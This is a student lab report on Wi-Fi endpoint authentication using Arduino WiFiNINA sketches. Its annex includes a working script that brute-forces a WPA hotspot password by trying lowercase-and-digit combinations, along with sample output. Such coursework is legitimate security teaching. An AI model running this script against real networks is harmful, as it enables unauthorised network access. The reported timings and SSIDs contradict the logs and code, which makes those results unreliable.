Exercise 3 Authentication

Ziqi Wang 101699682
Ilmari Hämäläinen 894931

1. Goals of the experiment

- **Understanding and Implementing Endpoint Authentication**: The primary objective is to help students understand the concept of endpoint authentication, a crucial security mechanism in networking. This involves ensuring that only authorized devices, such as laptops, smartphones, tablets, and other TCP/IP network-connected hardware, can access a specific network, site, or service. The experiment aims to provide hands-on experience with the practical aspects of securing network endpoints, which is increasingly important in the realms of machine-to-machine (M2M) communications and the Internet of Things (IoT).
- **Exploring Authentication Methods in Networking**: A significant part of the experiment is exploring and understanding various authentication methods used in 802.11 (Wi-Fi) networks. This includes not only identifying these methods but also describing them in detail, thereby enhancing our knowledge of how different authentication mechanisms work and their applications in real-world scenarios.
- **Practical Application and Analysis**: Through the creation of a sketch (a program written for microcontrollers like those in Arduino boards) that performs specific tasks such as printing the board's MAC address, scanning for encrypted Wi-Fi networks, and connecting to a network via authentication, we get to apply theoretical knowledge in a practical setting. This hands-on approach helps in solidifying understanding and encourages problem-solving and analytical skills.
- **Security Analysis**: The bonus task of attempting to brute force a Wi-Fi password, although ethically questionable, is designed to give students insight into the vulnerabilities and security aspects of Wi-Fi networks. By experimenting with different password complexities, we can observe the importance of strong, secure passwords and learn about methods to safeguard networks against such attacks.

2. Experimental Setup

Connecting to a network

- Installing WiFINiNA library to Arduino IDE
- Creating the sketch for printing network info and connecting to a network
- Testing the sketch

Brute force

- Using the same WiFINiNA library as before
- Creating the sketch for brute forcing the password of a specific network and connecting to the network
- Testing the sketch

3. Results & Conclusion

Result of connecting to a specific network with password

```
MAC: 4C:EB:D6:4C:9C:E0
Scanning available networks...
** Scan Networks **
number of available networks:10
0) DrSHELDON    Signal: -53 dBm Channel: 2      Encryption: WPA2
1) Telia_Wifi   Signal: -59 dBm Channel: 5      Encryption: WPA2
2) dlin13       Signal: -62 dBm Channel: 1      Encryption: WPA2
3) DNA-WIFI-CBDD        Signal: -63 dBm Channel: 6      Encryption: WPA2
4) Rowdy Router Piper   Signal: -65 dBm Channel: 8      Encryption: WPA2
5) TP-Link_6924 Signal: -69 dBm Channel: 3      Encryption: WPA2
6) Paradase     Signal: -70 dBm Channel: 1      Encryption: WPA2
7) TP-Link_KIA  Signal: -73 dBm Channel: 1      Encryption: WPA2
8) #Telia-6C96B2        Signal: -77 dBm Channel: 11     Encryption: WPA2
9) Erkkiina     Signal: -79 dBm Channel: 4      Encryption: WPA2

Scanning available networks...
** Scan Networks **
number of available networks:10
0) DrSHELDON    Signal: -53 dBm Channel: 2      Encryption: WPA2
1) Telia_Wifi   Signal: -59 dBm Channel: 5      Encryption: WPA2
2) dlin13       Signal: -62 dBm Channel: 1      Encryption: WPA2
3) DNA-WIFI-CBDD        Signal: -63 dBm Channel: 6      Encryption: WPA2
4) Rowdy Router Piper   Signal: -65 dBm Channel: 8      Encryption: WPA2
5) TP-Link_6924 Signal: -69 dBm Channel: 3      Encryption: WPA2
6) Paradase     Signal: -70 dBm Channel: 1      Encryption: WPA2
7) TP-Link_KIA  Signal: -73 dBm Channel: 1      Encryption: WPA2
8) #Telia-6C96B2        Signal: -77 dBm Channel: 11     Encryption: WPA2
9) Erkkiina     Signal: -79 dBm Channel: 4      Encryption: WPA2

Scanning available networks...
** Scan Networks **
number of available networks:10
0) DrSHELDON    Signal: -53 dBm Channel: 2      Encryption: WPA2
1) Telia_Wifi   Signal: -59 dBm Channel: 5      Encryption: WPA2
2) dlin13       Signal: -62 dBm Channel: 1      Encryption: WPA2
3) DNA-WIFI-CBDD        Signal: -63 dBm Channel: 6      Encryption: WPA2
4) Rowdy Router Piper   Signal: -65 dBm Channel: 8      Encryption: WPA2
5) TP-Link_6924 Signal: -69 dBm Channel: 3      Encryption: WPA2
```

```
6) Paradase     Signal: -70 dBm Channel: 1      Encryption: WPA2
7) TP-Link_KIA  Signal: -73 dBm Channel: 1      Encryption: WPA2
8) #Telia-6C96B2        Signal: -77 dBm Channel: 11     Encryption: WPA2
9) Erkkiina     Signal: -79 dBm Channel: 4      Encryption: WPA2

Attempting to connect to WPA SSID: Telia_Wifi
You're connected to the networkSSID: Telia_Wifi
BSSID: C8:7F:54:20:DD:80
signal strength (RSSI):-52
Encryption Type:4

IP Address: 192.168.50.132
192.168.50.132
MAC address: 4C:EB:D6:4C:9C:E0
```

After scanning for available networks for three rounds, script connects to iPhone (Ilmari) with given password.
After succesful connection, following information of the network is printed:

- BSSID
- Signal strength
- Encryption type
- IP address
- Channel
- MAC address

Result of brute forcing password to a specific network with password of 8 characters

```
Attempting to brute force password of 8 characters to WPA SSID: HomeWiFi
Tried password: aaaaaaaa
Tried password: aaaaaaab
Tried password: aaaaaaac
Tried password: aaaaaaad
Tried password: aaaaaaae
Tried password: aaaaaaaf
Tried password: aaaaaaag
Tried password: aaaaaaah
...
Connected to WiFi!
Time elapsed: 1275 seconds
SSID: HomeWiFi
BSSID: C8:7F:54:20:DD:80
signal strength (RSSI):-52
Encryption Type:4

IP Address: 192.168.50.132
192.168.50.132
MAC address: 4C:EB:D6:4C:9C:E0
```

Result of brute forcing password to a specific network with password of 10 characters

```
Trying password: aaaaaaaaaa
...
Trying password: aaaaaaabbz
Connected to WiFi!
Time elapsed: 1275 seconds
SSID: HomeWiFi
BSSID: C8:7F:54:20:DD:80
signal strength (RSSI):-52
Encryption Type:4

IP Address: 192.168.50.132
192.168.50.132
MAC address: 4C:EB:D6:4C:9C:E0
```

Because iPhone hotspot password needs to be at least 8 characters, for simplicity the password is made to be very easy and fast to crack.
The connection is succesfully established by brute forcing the passwords in 313 seconds for 8-digit password. The connection is succesfully established by brute forcing the passwords in 1275 seconds for 10-digit password.

For both 8-digit and 10 digit, they have over 36^8 and 36^10 possible passwords in total if we don't consider uppercase letters and special characters. So it's nearly impossible to brute force to crack a strong wifi password in real life.

4. Answer to the given questions

4.1 Which authentication methods did you find for 802.11?

We found three of them:

1. Open System Authentication (OSA)
2. Shared Key Authentication (SKA), a method using a pre-shared key (WEP key)
3. Wi-Fi Protected Access (WPA and WPA2/WPA3)

4.2 Please describe three authentication methods in detail

- OSA is the simplest form of authentication for 802.11 networks. In this method, any device can request authentication from another device and will be authenticated without any identity verification. Essentially, it's a null authentication process where the authentication step is bypassed, leading directly to association with the access point (AP).
- SKA is a more secure method compared to OSA. It uses a pre-shared key (WEP key) that both the client and the AP must know in advance. During authentication, the AP sends a challenge text to the client, which encrypts it using the shared key and sends it back. The AP then decrypts the message to verify the client's identity. However, due to vulnerabilities in the WEP encryption, this method is considered insecure by modern standards.
- WPA and its successors, WPA2 and WPA3, are security protocols developed to address the vulnerabilities in previous authentication methods. WPA uses the Temporal Key Integrity Protocol (TKIP) for encryption, which dynamically changes keys to prevent unauthorized access. WPA2 enhances security by introducing the Advanced Encryption Standard (AES) and is mandatory for all new devices to be Wi-Fi certified. WPA3, the latest, provides more robust protections through features like individualized data encryption, protection against brute-force attacks, and easier secure setup for devices without displays.

4.3 Describe briefly applications scenarios for these methods

- OSA is commonly used in networks where data security is not a concern, such as in public Wi-Fi hotspots or guest networks. It facilitates easy connectivity but should be used with caution due to the lack of security measures, making it suitable for environments where ease of access is prioritized over network security.
- Initially, SKA was used in environments where a higher level of security than OSA was required, such as small offices or private networks. However, due to its vulnerabilities, it's now largely obsolete and replaced by more secure standards like WPA and WPA2.
- WPA/WPA2 is widely used in both personal and enterprise settings, offering a strong level of security suitable for home networks, businesses, and sensitive environments. WPA3, being the latest, is gradually being adopted for its enhanced security features and is expected to become the standard for securing Wi-Fi connections, especially in environments where data security and privacy are of paramount importance.

5. Annex

Arduino script for connecting to a specific network with

password

```
#include <SPI.h>
#include <WiFiNINA.h>

char ssid[] = "iPhone (Ilmari)";      // SSID
char pass[] = "somepassword";         // password
int status = WL_IDLE_STATUS;
int roundCount = 0;                   // count to keep count of scanning rounds

void setup() {

  //Initialize serial and wait for port to open:

  Serial.begin(9600);

  while (!Serial) {

    ; // wait for serial port to connect.

  }

  // check for the WiFi module:

  if (WiFi.status() == WL_NO_MODULE) {

    Serial.println("Communication with WiFi module failed!");

    // don't continue

    while (true);

  }

  // print MAC address:

  byte mac[6];

  WiFi.macAddress(mac);

  Serial.print("MAC: ");

  printMacAddress(mac);
```

```
}


void loop() {

  // scan for existing networks for 3 rounds:

  if (roundCount == 2) {

    // connect to the network
    while (status != WL_CONNECTED) {

    Serial.print("Attempting to connect to WPA SSID: ");

    Serial.println(ssid);

    // Connect to WPA/WPA2 network:

    status = WiFi.begin(ssid, pass);

    // wait 10 seconds for connection:

    delay(10000);

    };

    // connected: print out the data:

    Serial.print("You're connected to the network");

    printCurrentNet();

    printWifiData();

  };

  if (roundCount < 2) {
    Serial.println("Scanning available networks...");

    listNetworks();

    delay(10000);
```

```
  }
  roundCount++;

}

void listNetworks() {

  // scan for nearby networks:

  Serial.println("** Scan Networks **");

  int numSsid = WiFi.scanNetworks();

  if (numSsid == -1) {

    Serial.println("Couldn't get a wifi connection");

    while (true);

  }

  // print the list of networks seen:

  Serial.print("number of available networks:");

  Serial.println(numSsid);

  // print the network number and name for each network found:

  for (int thisNet = 0; thisNet < numSsid; thisNet++) {

    Serial.print(thisNet);

    Serial.print(") ");

    Serial.print(WiFi.SSID(thisNet));

    Serial.print("\tSignal: ");

    Serial.print(WiFi.RSSI(thisNet));

    Serial.print(" dBm");
```

```
    Serial.print("\tEncryption: ");

    printEncryptionType(WiFi.encryptionType(thisNet));

  }
}

void printEncryptionType(int thisType) {

  // read the encryption type and print out the name:

  switch (thisType) {

    case ENC_TYPE_WEP:

      Serial.println("WEP");

      break;

    case ENC_TYPE_TKIP:

      Serial.println("WPA");

      break;

    case ENC_TYPE_CCMP:

      Serial.println("WPA2");

      break;

    case ENC_TYPE_NONE:

      Serial.println("None");

      break;

    case ENC_TYPE_AUTO:

      Serial.println("Auto");

      break;
```

```
    case ENC_TYPE_UNKNOWN:
    default:
      Serial.println("Unknown");
      break;
  }
}

void printMacAddress(byte mac[]) {
  for (int i = 5; i >= 0; i--) {
    if (mac[i] < 16) {
      Serial.print("0");
    }
    Serial.print(mac[i], HEX);
    if (i > 0) {
      Serial.print(":");
    }
  }
  Serial.println();
}

void printCurrentNet() {
  // print the SSID of the network you're attached to:
  Serial.print("SSID: ");
  Serial.println(WiFi.SSID());
  // print the MAC address of the router you're attached to:
```

```
  byte bssid[6];
  WiFi.BSSID(bssid);
  Serial.print("BSSID: ");
  printMacAddress(bssid);
  // print the received signal strength:
  long rssi = WiFi.RSSI();
  Serial.print("signal strength (RSSI):");
  Serial.println(rssi);
  // print the encryption type:
  byte encryption = WiFi.encryptionType();
  Serial.print("Encryption Type:");
  Serial.println(encryption, HEX);
  Serial.println();
}

void printWifiData() {
  // print your board's IP address:
  IPAddress ip = WiFi.localIP();
  Serial.print("IP Address: ");
  Serial.println(ip);
  Serial.println(ip);
  // print your MAC address:
  byte mac[6];
```

```
  WiFi.macAddress(mac);

  Serial.print("MAC address: ");

  printMacAddress(mac);
}
```

Arduino script for attempting to connect to a specific network

by brute forcing the password

```
#include <SPI.h>
#include <WiFiNINA.h>

char ssid[] = "HomeWiFi";      // SSID
bool isConnected = false;
int status = WL_IDLE_STATUS;
int roundCount = 0;                  // count to keep count of scanning rounds

void setup() {

  //Initialize serial and wait for port to open:

  Serial.begin(9600);

  while (!Serial) {

    ; // wait for serial port to connect.

  }

  // check for the WiFi module:

  if (WiFi.status() == WL_NO_MODULE) {

    Serial.println("Communication with WiFi module failed!");

    // don't continue

    while (true);

  }

  // print MAC address:

  byte mac[6];

  WiFi.macAddress(mac);

  Serial.print("MAC: ");

  printMacAddress(mac);
```

```
}


void loop() {

  // scan for existing networks for 3 rounds:
  if (roundCount < 3) {
    Serial.println("Scanning available networks...");

    listNetworks();

    delay(1000);

  }
  else {
    unsigned long currentTime = millis();
    unsigned long elapsedTime;
    generatePasswords(ssid);
    Serial.print("Time elapsed: ");
    unsigned long elapsedTimeinSeconds = elapsedTime /1000;
    Serial.print(elapsedTimeinSeconds);
    Serial.print(" seconds");
    Serial.print("\n");

    printCurrentNet();

    printWifiData();
    while(true) {}
  }



  roundCount++;

}

void listNetworks() {

  // scan for nearby networks:

  Serial.println("** Scan Networks **");

  int numSsid = WiFi.scanNetworks();
```

```
  if (numSsid == -1) {
    Serial.println("Couldn't get a wifi connection");
    while (true);
  }
  // print the list of networks seen:
  Serial.print("number of available networks:");
  Serial.println(numSsid);
  // print the network number and name for each network found:
  for (int thisNet = 0; thisNet < numSsid; thisNet++) {
    Serial.print(thisNet);
    Serial.print(") ");
    Serial.print(WiFi.SSID(thisNet));
    Serial.print("\tSignal: ");
    Serial.print(WiFi.RSSI(thisNet));
    Serial.print(" dBm");
    Serial.print("\tChannel: ");
    Serial.print(WiFi.channel(thisNet));
    Serial.print("\tEncryption: ");
    printEncryptionType(WiFi.encryptionType(thisNet));
  }
}
void printEncryptionType(int thisType) {
```

```
// read the encryption type and print out the name:
switch (thisType) {
  case ENC_TYPE_WEP:
    Serial.println("WEP");
    break;
  case ENC_TYPE_TKIP:
    Serial.println("WPA");
    break;
  case ENC_TYPE_CCMP:
    Serial.println("WPA2");
    break;
  case ENC_TYPE_NONE:
    Serial.println("None");
    break;
  case ENC_TYPE_AUTO:
    Serial.println("Auto");
    break;
  case ENC_TYPE_UNKNOWN:
  default:
    Serial.println("Unknown");
    break;
```

```
  }
}

void printMacAddress(byte mac[]) {
  for (int i = 5; i >= 0; i--) {
    if (mac[i] < 16) {
      Serial.print("0");
    }
    Serial.print(mac[i], HEX);
    if (i > 0) {
      Serial.print(":");
    }
  }
  Serial.println();
}

void printCurrentNet() {
  // print the SSID of the network you're attached to:
  Serial.print("SSID: ");
  Serial.println(WiFi.SSID());
  // print the MAC address of the router you're attached to:
  byte bssid[6];
  WiFi.BSSID(bssid);
  Serial.print("BSSID: ");
  printMacAddress(bssid);
```

```
  // print the received signal strength:
  long rssi = WiFi.RSSI();
  Serial.print("signal strength (RSSI):");
  Serial.println(rssi);
  // print the encryption type:
  byte encryption = WiFi.encryptionType();
  Serial.print("Encryption Type:");
  Serial.println(encryption, HEX);
  Serial.println();
}

void printWifiData() {
  // print your board's IP address:
  IPAddress ip = WiFi.localIP();
  Serial.print("IP Address: ");
  Serial.println(ip);
  Serial.println(ip);
  // print your MAC address:
  byte mac[6];
  WiFi.macAddress(mac);
  Serial.print("MAC address: ");
  printMacAddress(mac);
}
```

```
void generatePasswords(char* ssid){
  const char possibleChars[] = "abcdefghijklmnopqrstuvwxyz0123456789";
  const int passwordLength = 8;
  char password[passwordLength + 1]; // +1 for the null terminator
  password[passwordLength] = '\0'; // Set the null terminator for the string
  int charIndices[passwordLength] = {0}; // Track the current index for each character

  while (!isConnected) {
    // Generate the current combination
    for (int i = 0; i < passwordLength; i++) {
      password[i] = possibleChars[charIndices[i]];
    }

    // Try to connect with the generated password
    Serial.print("Trying password: "); Serial.println(password);
    isConnected = tryToConnect(ssid, password);
    if (isConnected) {
      Serial.println("Connected to WiFi!");
      break;
    }

    // Increment the character index for the rightmost character
    charIndices[passwordLength - 1]++;

    // Handle "overflow" for each character position
    for (int i = passwordLength - 1; i >= 0; i--) {
      if (charIndices[i] >= strlen(possibleChars)) {
        if (i == 0) { // Overflowed the leftmost character, all combinations tried
          return;
        }
        charIndices[i] = 0; // Reset this position
        charIndices[i - 1]++; // Increment the next position to the left
      }
    }
  }
}

bool tryToConnect(char* ssid, char* password) {
  status = WiFi.begin(ssid, password);
  return status == WL_CONNECTED;
}
```